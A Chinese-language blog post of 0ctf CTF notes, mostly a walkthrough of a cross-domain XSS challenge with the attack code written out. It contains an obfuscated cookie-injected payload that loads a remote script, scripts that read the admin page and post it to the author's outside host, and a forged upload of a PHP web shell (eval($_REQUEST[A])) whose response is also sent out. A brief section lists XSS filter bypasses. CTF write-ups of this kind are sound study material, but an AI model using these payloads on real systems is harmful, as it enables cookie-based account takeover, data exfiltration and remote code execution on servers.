【0ctf】比赛的一些笔记

每天我都会把鞋带系的紧紧的,因为我知道没有人会停下脚步来等我啊。

这次比赛难度确实比较大。pwn题目听说质量很高
就WEB而言的话,注入题没有太多也一般,更多的好像是考前端安全的(也稍微合点口味)。
第一个比赛是一个跨域的xss。输入点是在 government.vip ,输入没有任何过滤。



那个MD5用python简单爆破下就可以。

由于没有任何过滤 所以就可以直接打了。转到http://admin.government.vip:8000/看看,发现以默认的test test登陆后,cookie里面会有一个username字段,并且这个字段的内容会没有任何转义的输出在html里面



所以现在跨域XSS的思路就有了:
在government.vip触发XSS-->在根域设置COOKIE,把payload写入到username字段里-->用js跳转或者新建一个iframe打开admin.government.vip:8000,在admin域触发XSS

第一段代码
<script> function setCookie(name, value, seconds) { seconds = seconds || 0; //seconds有值就直接赋值,没有为0,这个根php不一样。 var expires = ""; if (seconds != 0 ) { //设置cookie生存时间 var date = new Date(); date.setTime(date.getTime()+(seconds*1000)); expires = "; expires="+date.toGMTString(); } document.cookie = name+"="+value+expires+"; path=/;domain=government.vip"; //转码并赋值 } setCookie('username','<iframe src=\'javascript:eval(String.fromCharCode(118, 97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 119, 97, 121, 46, 110, 117, 112, 116, 122, 106, 46, 99, 110, 47, 98, 97, 105, 100, 117, 47, 120, 115, 115, 46, 106, 115, 34, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115, 41, 59))\'></iframe>',1000) var ifm=document.createElement('iframe');ifm.src='http://admin.government.vip:8000/';document.body.appendChild(ifm); </script> 

这个代码会把恶意代码写入到cookie,并且打开一个admin域的iframe触发他

要注意的是admin域做了一个sandbox 删除了xmlhttp的对象以及几个函数,此时我想到的是可以用iframe新建一个新的dom树,用javascript伪协议加载我们的代码,这样就可以避开这些限制

第一次调用的payload的是读HTML的,因为题目说只有管理员有权限上传shell
function ajax(opt) {
opt = opt || {};
opt.method = opt.method.toUpperCase() || 'POST';
opt.url = opt.url || '';
opt.async = opt.async || true;
opt.data = opt.data || null;
opt.success = opt.success || function () {};
var xmlHttp = null;
if (XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}

else {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}var params = [];
for (var key in opt.data){
params.push(key + '=' + opt.data[key]);
}
var postData = params.join('&');
if (opt.method.toUpperCase() === 'POST') {
xmlHttp.open(opt.method, opt.url, opt.async);
xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=utf-8');
xmlHttp.send(postData);
}
else if (opt.method.toUpperCase() === 'GET') {
xmlHttp.open(opt.method, opt.url + '?' + postData, opt.async);
xmlHttp.send(null);
}
xmlHttp.onreadystatechange = function () {
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
opt.success(xmlHttp.responseText);
}
};
}
ajax({
method: 'GET',
url: 'http://admin.government.vip:8000/',
success: function (response) {
var f = document.createElement("form");
document.body.appendChild(f);
var i = document.createElement("input");
i.type = "hidden";
f.method="POST";
f.appendChild(i);
i.value = response;
i.name = "price";
f.action = "http://demo.nuptzj.cn:7777/";
f.submit();
}
});

 

顺利调用这次payload读到了管理员的页面,发现上传的页面是 /upload 文件变量名就是file。那么此时再用xmlhttp上传文件然后拿到响应包应该就是flag了

var xhr = new XMLHttpRequest();xhr.open("POST", "http://admin.government.vip:8000/upload", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryFikh4XTsUA3KuSES");
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"233\"\r\n" +
"\r\n" +
"eyJzY3JlZW5faGVpZ2h0Ijo4MjYsInNjcmVlbl93aWR0aCI6MTQ0MH0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"source_flag\"\r\n" +
"\r\n" +
"0\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\n" +
"Content-Type: image/png\r\n" +
"\r\n" +
"GIF89a\x3c?php eval($_REQUEST[A]);?\x3e\x3c/script\x3e\r\n" +
"------WebKitFormBoundaryFikh4XTsUA3KuSES--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onload = uploadComplete;
xhr.send(new Blob([aBody]));
function uploadComplete(evt) {
//服务断接收完文件返回的结果
// alert(evt.target.responseText);
var i = document.createElement("input");
var f=document.body.appendChild(f);
i.type = "hidden";
f.method="POST";
f.appendChild(i);
i.value = evt.target.responseText;
i.name = "price";
f.action = "http://demo.nuptzj.cn:7777/";
f.submit();
}

这样的payload是我之前用burpsute生成的csrf payload 以及从网上找的回调函数。

最终就通过这个payload读到了 flag



(代码略有改动,有基础由于是在ifame伪协议,所以子元素没法append到body上。具体怎么改我也忘了反正就记一个思路)

 

第二题XSS没什么好说的。。记录一下
没有过滤< 就利用下文的标签闭合(了)?
然后域名是输出在HTML中的,点号被过滤 可以用。代替. (可以想象这是一次伟大的兼容)。斜杠可以用反斜杠代替,效果一样


这次是用的link标签的xss

Contact Me

__画船听雨

有想要和我交流的也可以和我邮件联系

Email: admin@nuptzj.cn